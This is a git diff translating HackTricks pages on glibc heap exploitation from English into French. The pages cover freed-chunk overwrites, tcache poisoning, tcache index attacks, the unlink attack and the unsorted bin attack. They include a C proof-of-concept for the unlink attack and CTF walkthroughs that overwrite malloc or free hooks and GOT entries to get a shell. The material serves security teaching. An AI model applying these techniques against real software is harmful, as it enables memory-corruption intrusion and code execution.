- Et un autre 0x200 octets sont alloués et chunk2 est détruit et donc il n'y a pas de fuite et cela ne fonctionne pas ? Peut-être que cela ne devrait pas être fait.
- Ensuite, il alloue un autre morceau avec 0x58 "a"s (écrasant chunk2 et atteignant chunk5) et modifie le `fd` du morceau de fast bin de chunk5 le pointant vers `__malloc_hook`.
- Ensuite, un morceau de 0x68 est alloué donc le faux fast bin chunk dans `__malloc_hook` est le suivant fast bin chunk.
- Enfin, un nouveau fast bin chunk de 0x68 est alloué et `__malloc_hook` est écrasé avec une adresse `one_gadget`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +1,23 @@
# Overwriting a freed chunk
# Écraser un morceau libéré
{{#include ../../banners/hacktricks-training.md}}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
Plusieurs des techniques d'exploitation de la mémoire tampon proposées nécessitent de pouvoir écraser des pointeurs à l'intérieur de morceaux libérés. L'objectif de cette page est de résumer les vulnérabilités potentielles qui pourraient accorder cet accès :
### Simple Use After Free
### Utilisation simple après libération
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
S'il est possible pour l'attaquant d'**écrire des informations dans un morceau libre**, il pourrait en abuser pour écraser les pointeurs nécessaires.
### Double Free
### Double libération
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
Si l'attaquant peut **`libérer` deux fois le même morceau** (libérer d'autres morceaux entre-temps potentiellement) et le faire être **2 fois dans la même bin**, il serait possible pour l'utilisateur de **réallouer le morceau plus tard**, **écrire les pointeurs nécessaires** et ensuite **le réallouer**, déclenchant les actions du morceau étant alloué (par exemple, attaque fast bin, attaque tcache...)
### Heap Overflow
### Débordement de tas
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
Il pourrait être possible de **déborder un morceau alloué ayant à côté un morceau libéré** et de modifier certains en-têtes/pointeurs de celui-ci.
### Off-by-one overflow
### Débordement hors par un
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
Dans ce cas, il serait possible de **modifier la taille** du morceau suivant en mémoire. Un attaquant pourrait en abuser pour **faire en sorte qu'un morceau alloué ait une taille plus grande**, puis **`libérer`** celui-ci, faisant en sorte que le morceau soit **ajouté à une bin de taille différente** (plus grande), puis allouer la **taille factice**, et l'attaque aura accès à un **morceau avec une taille qui est plus grande** qu'elle ne l'est réellement, **accordant donc une situation de morceaux qui se chevauchent**, qui est exploitable de la même manière qu'un **débordement de tas** (voir la section précédente).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,44 +4,44 @@
## Basic Information
For more information about what is a Tcache bin check this page:
Pour plus d'informations sur ce qu'est un Tcache bin, consultez cette page :
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
First of all, note that the Tcache was introduced in Glibc version 2.26.
Tout d'abord, notez que le Tcache a été introduit dans la version 2.26 de Glibc.
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
L'**attaque Tcache** (également connue sous le nom de **poisoning Tcache**) proposée sur la [**page guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) est très similaire à l'attaque fast bin où l'objectif est d'écraser le pointeur vers le prochain chunk dans le bin à l'intérieur d'un chunk libéré vers une adresse arbitraire afin qu'il soit ensuite possible de **allouer cette adresse spécifique et potentiellement écraser les pointeurs**.
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
Cependant, de nos jours, si vous exécutez le code mentionné, vous obtiendrez l'erreur : **`malloc(): unaligned tcache chunk detected`**. Il est donc nécessaire d'écrire comme adresse dans le nouveau pointeur une adresse alignée (ou d'exécuter suffisamment de fois le binaire pour que l'adresse écrite soit en fait alignée).
### Tcache indexes attack
### Attaque des index Tcache
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
Il est généralement possible de trouver au début du tas un chunk contenant le **nombre de chunks par index** à l'intérieur du tcache et l'adresse du **head chunk de chaque index tcache**. Si pour une raison quelconque il est possible de modifier cette information, il serait possible de **faire pointer le head chunk de certains index vers une adresse souhaitée** (comme `__malloc_hook`) pour ensuite allouer un chunk de la taille de l'index et écraser le contenu de `__malloc_hook` dans ce cas.
## Examples
## Exemples
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
- **Fuite d'informations Libc** : Il est possible de remplir les tcaches, d'ajouter un chunk dans la liste non triée, de vider le tcache et de **ré-allouer le chunk depuis le bin non trié** en écrasant seulement les 8 premiers octets, laissant la **deuxième adresse vers libc du chunk intacte afin que nous puissions la lire**.
- **Attaque Tcache** : Le binaire est vulnérable à un débordement de tas de 1 octet. Cela sera abusé pour changer le **header de taille** d'un chunk alloué en le rendant plus grand. Ensuite, ce chunk sera **libéré**, l'ajoutant au tcache de chunks de fausse taille. Ensuite, nous allouerons un chunk avec la taille falsifiée, et le chunk précédent sera **retourné sachant que ce chunk était en fait plus petit** et cela nous donne l'opportunité de **écraser le prochain chunk en mémoire**.\
Nous allons en abuser pour **écraser le pointeur FD du prochain chunk** pour pointer vers **`malloc_hook`**, afin qu'il soit possible d'allouer 2 pointeurs : d'abord le pointeur légitime que nous venons de modifier, puis la deuxième allocation retournera un chunk dans **`malloc_hook`** qui peut être abusé pour écrire un **one gadget**.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
- **Fuite d'informations Libc** : Il y a une utilisation après libération et une double libération. Dans ce rapport, l'auteur a divulgué une adresse de libc en lisant l'adresse d'un chunk placé dans un petit bin (comme le fuyant depuis le bin non trié mais depuis le petit).
- **Attaque Tcache** : Une attaque Tcache est effectuée via une **double libération**. Le même chunk est libéré deux fois, donc à l'intérieur du Tcache, le chunk pointera vers lui-même. Ensuite, il est alloué, son pointeur FD est modifié pour pointer vers le **free hook** et ensuite il est alloué à nouveau, donc le prochain chunk dans la liste sera dans le free hook. Ensuite, cela est également alloué et il est possible d'écrire l'adresse de `system` ici, donc lorsque malloc contenant `"/bin/sh"` est libéré, nous obtenons un shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
- La principale vulnérabilité ici est la capacité de `free` n'importe quelle adresse dans le tas en indiquant son offset.
- **Attaque des index Tcache** : Il est possible d'allouer et de libérer un chunk d'une taille qui, lorsqu'elle est stockée à l'intérieur du chunk tcache (le chunk avec les informations des bins tcache), générera une **adresse avec la valeur 0x100**. Cela est dû au fait que le tcache stocke le nombre de chunks dans chaque bin dans des octets différents, donc un chunk dans un index spécifique génère la valeur 0x100.
- Ensuite, cette valeur ressemble à un chunk de taille 0x100. Permettant de l'abuser en `free` cette adresse. Cela **ajoutera cette adresse à l'index des chunks de taille 0x100 dans le tcache**.
- Ensuite, **allouer** un chunk de taille **0x100**, l'adresse précédente sera retournée comme un chunk, permettant d'écraser d'autres index tcache.\
Par exemple, en mettant l'adresse de malloc hook dans l'un d'eux et en allouant un chunk de la taille de cet index, cela accordera un chunk dans le calloc hook, ce qui permet d'écrire un one gadget pour obtenir un shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Same vulnerability as before with one extra restriction
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
- Même vulnérabilité que précédemment avec une restriction supplémentaire.
- **Attaque des index Tcache** : Attaque similaire à la précédente mais utilisant moins d'étapes en **libérant le chunk qui contient les informations tcache** afin que son adresse soit ajoutée à l'index tcache de sa taille, il est donc possible d'allouer cette taille et d'obtenir les informations du chunk tcache en tant que chunk, ce qui permet d'ajouter le free hook comme adresse d'un index, de l'allouer et d'écrire un one gadget dessus.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** to add a number to the `fd` pointer.
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
- **Glibc leak** through `stdout` (FSOP).
- **Tcache poisoning** to get an arbitrary write primitive.
- **Write After Free** pour ajouter un nombre au pointeur `fd`.
- Beaucoup de **heap feng-shui** est nécessaire dans ce défi. Le rapport montre comment **contrôler la tête de la liste libre Tcache** est très pratique.
- **Fuite Glibc** via `stdout` (FSOP).
- **Poisoning Tcache** pour obtenir un primitive d'écriture arbitraire.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,16 @@
# Unlink Attack
# Attaque Unlink
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
Lorsque cette attaque a été découverte, elle permettait principalement un WWW (Write What Where), cependant, certaines **vérifications ont été ajoutées** rendant la nouvelle version de l'attaque plus intéressante, plus complexe et **inutile**.
### Code Example:
### Exemple de code :
<details>
<summary>Code</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
printf("%s\n", data);
return 0;
return 0;
}
```
</details>
- Attack doesn't work if tcaches are used (after 2.26)
- L'attaque ne fonctionne pas si les tcaches sont utilisés (après 2.26)
### Goal
### Objectif
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
Cette attaque permet de **changer un pointeur vers un chunk pour pointer 3 adresses avant lui-même**. Si ce nouvel emplacement (environnements de l'endroit où le pointeur était situé) contient des éléments intéressants, comme d'autres allocations contrôlables / pile..., il est possible de les lire/écraser pour causer un plus grand dommage.
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
- Si ce pointeur était situé dans la pile, parce qu'il pointe maintenant 3 adresses avant lui-même et que l'utilisateur peut potentiellement le lire et le modifier, il sera possible de divulguer des informations sensibles de la pile ou même de modifier l'adresse de retour (peut-être) sans toucher au canary.
- Dans des exemples CTF, ce pointeur est situé dans un tableau de pointeurs vers d'autres allocations, donc, en le faisant pointer 3 adresses avant et en étant capable de le lire et d'écrire, il est possible de faire pointer les autres pointeurs vers d'autres adresses.\
Comme l'utilisateur peut potentiellement lire/écrire également les autres allocations, il peut divulguer des informations ou écraser de nouvelles adresses à des emplacements arbitraires (comme dans le GOT).
### Requirements
### Exigences
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
- Stack leak in order to set the pointers of the fake chunk.
- Un certain contrôle dans une mémoire (par exemple, la pile) pour créer quelques chunks en donnant des valeurs à certains des attributs.
- Fuite de la pile afin de définir les pointeurs du faux chunk.
### Attack
### Attaque
- There are a couple of chunks (chunk1 and chunk2)
- The attacker controls the content of chunk1 and the headers of chunk2.
- In chunk1 the attacker creates the structure of a fake chunk:
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
- Il y a quelques chunks (chunk1 et chunk2)
- L'attaquant contrôle le contenu de chunk1 et les en-têtes de chunk2.
- Dans chunk1, l'attaquant crée la structure d'un faux chunk :
- Pour contourner les protections, il s'assure que le champ `size` est correct pour éviter l'erreur : `corrupted size vs. prev_size while consolidating`
- et les champs `fd` et `bk` du faux chunk pointent vers l'endroit où le pointeur chunk1 est stocké avec des décalages de -3 et -2 respectivement, donc `fake_chunk->fd->bk` et `fake_chunk->bk->fd` pointent vers une position en mémoire (pile) où l'adresse réelle de chunk1 est située :
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
- When the second chunk is freed then this fake chunk is unlinked happening:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
- Les en-têtes de chunk2 sont modifiés pour indiquer que le chunk précédent n'est pas utilisé et que la taille est celle du faux chunk contenu.
- Lorsque le deuxième chunk est libéré, ce faux chunk est désolidarisé, ce qui se produit :
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Auparavant, il avait été fait que `fake_chunk->fd->bk` et `fake_chunk->bk->fd` pointent vers le même endroit (l'emplacement dans la pile où `chunk1` était stocké, donc c'était une liste chaînée valide). Comme **les deux pointent vers le même emplacement**, seul le dernier (`fake_chunk->bk->fd = fake_chunk->fd`) prendra **effet**.
- Cela va **écraser le pointeur vers chunk1 dans la pile à l'adresse (ou aux octets) stockés 3 adresses avant dans la pile**.
- Par conséquent, si un attaquant pouvait contrôler à nouveau le contenu de chunk1, il pourra **écrire dans la pile**, étant capable de potentiellement écraser l'adresse de retour en contournant le canary et modifier les valeurs et les pointeurs des variables locales. Même en modifiant à nouveau l'adresse de chunk1 stockée dans la pile vers un emplacement différent où, si l'attaquant pouvait à nouveau contrôler le contenu de chunk1, il pourrait écrire n'importe où.
- Notez que cela était possible parce que les **adresses sont stockées dans la pile**. Le risque et l'exploitation peuvent dépendre de **l'endroit où les adresses du faux chunk sont stockées**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## References
## Références
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
- Bien qu'il serait étrange de trouver une attaque unlink même dans un CTF, ici vous avez quelques writeups où cette attaque a été utilisée :
- Exemple CTF : [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- Dans cet exemple, au lieu de la pile, il y a un tableau d'adresses mallocées. L'attaque unlink est effectuée pour pouvoir allouer un chunk ici, permettant ainsi de contrôler les pointeurs du tableau d'adresses mallocées. Ensuite, il y a une autre fonctionnalité qui permet de modifier le contenu des chunks à ces adresses, ce qui permet de pointer des adresses vers le GOT, de modifier les adresses de fonction pour obtenir des fuites et RCE.
- Un autre exemple CTF : [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Tout comme dans l'exemple précédent, il y a un tableau d'adresses d'allocations. Il est possible d'effectuer une attaque unlink pour faire pointer l'adresse vers la première allocation quelques positions avant le début du tableau et de réécrire cette allocation à la nouvelle position. Par conséquent, il est possible d'écraser les pointeurs d'autres allocations pour pointer vers le GOT de atoi, de l'imprimer pour obtenir une fuite libc, puis de réécrire le GOT de atoi avec l'adresse d'un gadget.
- Exemple CTF avec des fonctions malloc et free personnalisées qui abusent d'une vulnérabilité très similaire à l'attaque unlink : [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- Il y a un dépassement qui permet de contrôler les pointeurs FD et BK de malloc personnalisé qui seront (personnalisés) libérés. De plus, le tas a le bit d'exécution, donc il est possible de divulguer une adresse de tas et de pointer une fonction du GOT vers un chunk de tas avec un shellcode à exécuter.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,73 +1,73 @@
# Unsorted Bin Attack
# Attaque de la Bin Non Triée
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de Base
For more information about what is an unsorted bin check this page:
Pour plus d'informations sur ce qu'est une bin non triée, consultez cette page :
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
Les listes non triées peuvent écrire l'adresse de `unsorted_chunks (av)` dans l'adresse `bk` du chunk. Par conséquent, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk à l'intérieur de la bin non triée, il pourrait être capable de **écrire cette adresse à une adresse arbitraire** ce qui pourrait être utile pour divulguer des adresses Glibc ou contourner certaines défenses.
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
Donc, fondamentalement, cette attaque permet de **définir un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui pourrait être une adresse de tas ou une adresse Glibc. Une cible typique est **`global_max_fast`** pour permettre de créer des bins de fast bin avec des tailles plus grandes (et passer d'une attaque de bin non triée à une attaque de fast bin).
> [!TIP]
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
> J>etez un œil à l'exemple fourni dans [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) et en utilisant 0x4000 et 0x5000 au lieu de 0x400 et 0x500 comme tailles de chunk (pour éviter Tcache), il est possible de voir que **de nos jours** l'erreur **`malloc(): unsorted double linked list corrupted`** est déclenchée.
>
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> Par conséquent, cette attaque de bin non triée nécessite maintenant (entre autres vérifications) également d'être capable de corriger la liste doublement chaînée afin que cela soit contourné `victim->bk->fd == victim` ou non `victim->fd == av (arena)`, ce qui signifie que l'adresse où nous voulons écrire doit avoir l'adresse du faux chunk dans sa position `fd` et que le faux chunk `fd` pointe vers l'arène.
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
> Notez que cette attaque corrompt la bin non triée (d'où les petites et grandes aussi). Donc, nous ne pouvons utiliser que **des allocations à partir de la fast bin maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille ou le programme plantera.**
>
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
> Notez que la réécriture de **`global_max_fast`** pourrait aider dans ce cas en faisant confiance au fait que la fast bin sera capable de s'occuper de toutes les autres allocations jusqu'à ce que l'exploitation soit terminée.
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) l'explique très bien, bien que si vous modifiez les mallocs pour allouer une mémoire suffisamment grande pour ne pas se retrouver dans un Tcache, vous pouvez voir que l'erreur mentionnée précédemment apparaît empêchant cette technique : **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
## Attaque de Divulgation d'Informations de Bin Non Triée
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
C'est en fait un concept très basique. Les chunks dans la bin non triée vont avoir des pointeurs. Le premier chunk dans la bin non triée aura en fait les liens **`fd`** et **`bk`** **pointant vers une partie de l'arène principale (Glibc)**.\
Par conséquent, si vous pouvez **mettre un chunk à l'intérieur d'une bin non triée et le lire** (utiliser après libération) ou **le réallouer sans écraser au moins 1 des pointeurs** pour ensuite **le lire**, vous pouvez avoir une **divulgation d'informations Glibc**.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
